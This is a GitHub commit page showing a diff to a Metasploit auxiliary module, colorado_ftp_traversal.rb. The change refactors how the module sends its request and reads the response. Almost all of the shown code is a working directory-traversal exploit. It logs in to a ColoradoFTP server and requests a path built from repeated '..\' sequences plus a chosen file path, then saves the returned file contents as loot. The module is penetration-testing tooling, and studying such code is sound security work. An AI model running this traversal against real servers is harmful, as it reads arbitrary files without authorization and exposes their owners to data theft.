Skip to content

Commit ba174f3

Browse files
committed
updates per @bigendiansmalls fork
1 parent 3c916c3 commit ba174f3

File tree

1 file changed

+21
-42
lines changed

1 file changed

+21
-42
lines changed

modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb

Lines changed: 21 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -59,53 +59,32 @@ def check_host(ip)
5959

6060
def run_host(ip)
6161
begin
62-
c = connect_login
63-
return unless c
64-
sock = data_connect
62+
connect_login
63+
file_path = datastore['PATH']
64+
file = ::File.basename(file_path)
6565

66-
# additional check per https://github.com/bwatters-r7/metasploit-framework/blob/b44568dd85759a1aa2160a9d41397f2edc30d16f/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
67-
# and #7582
68-
if sock.nil?
69-
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
70-
print_status(error_msg)
71-
elog(error_msg)
66+
# make RETR request and store server response message...
67+
retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}"
68+
res = send_cmd_data( ['get', retr_cmd], '')
69+
unless res.nil?
70+
print_status(res[0])
71+
response_data = res[1]
7272
else
73-
file_path = datastore['PATH']
74-
file = ::File.basename(file_path)
75-
76-
# make RETR request and store server response message...
77-
retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}"
78-
res = send_cmd( ["retr", retr_cmd], true)
79-
print_status(res)
80-
81-
# dont assume theres still a sock to read from. Per #7582
82-
if sock.nil?
83-
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
84-
print_status(error_msg)
85-
elog(error_msg)
86-
return
87-
else
88-
# read the file data from the socket that we opened
89-
response_data = sock.read(1024)
90-
end
91-
92-
unless response_data
93-
print_error("#{file} not found")
94-
return
95-
end
96-
97-
if response_data.length == 0
98-
print_status("File (#{file_path})from #{peer} is empty...")
99-
return
100-
end
73+
print_error("#{file} not found or invalid login")
74+
return
75+
end
10176

102-
# store file data to loot
103-
loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path)
104-
vprint_status("Data returned:\n")
105-
vprint_line(response_data)
106-
print_good("Stored #{file_path} to #{loot_file}")
77+
if response_data.length == 0
78+
print_status("File (#{file_path})from #{peer} is empty...")
79+
return
10780
end
10881

82+
# store file data to loot
83+
loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path)
84+
vprint_status("Data returned:\n")
85+
vprint_line(response_data)
86+
print_good("Stored #{file_path} to #{loot_file}")
87+
10988
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
11089
vprint_error(e.message)
11190
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")

0 commit comments

Comments
 (0)